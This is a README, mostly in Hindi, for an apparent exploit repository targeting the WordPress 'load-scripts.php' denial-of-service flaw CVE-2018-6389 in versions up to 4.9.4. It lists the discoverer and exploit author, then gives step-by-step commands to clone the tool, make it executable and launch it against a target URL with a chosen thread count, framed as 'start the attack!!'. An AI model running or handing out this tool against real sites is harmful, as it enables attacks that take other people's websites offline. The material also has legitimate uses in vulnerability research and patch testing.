WordPress-CVE-2018-6389

WordPress Core - 'load-scripts.php' Denial of Service <= 4.9.4

दिनांक: 05/02/2018

सॉफ़्टवेयर लिंक: WordPress

संस्करण: <= 4.9.4

परीक्षण किया गया: KaLi Linux 2018.1

CVE: CVE-2018-6389

खोजकर्ता: Barak Tawily

एक्सप्लॉइट निर्माता: Javier Olmedo

उपयोग कैसे करें?

इस रिपॉज़िटरी को क्लोन करें

git clone https://github.com/JJavierOlmedo/wordpress-cve-2018-6389.git

लोकल रिपॉज़िटरी में जाएँ

cd wordpress-cve-2018-6389

एक्सेस अनुमतियाँ बदलें

sudo chmod +x wordpress-cve-2018-6389.py

हमला शुरू करें!!

python3 wordpress-cve-2018-6389.py -u <TARGET> -t <THREADS>

PoC

cve-2018-6389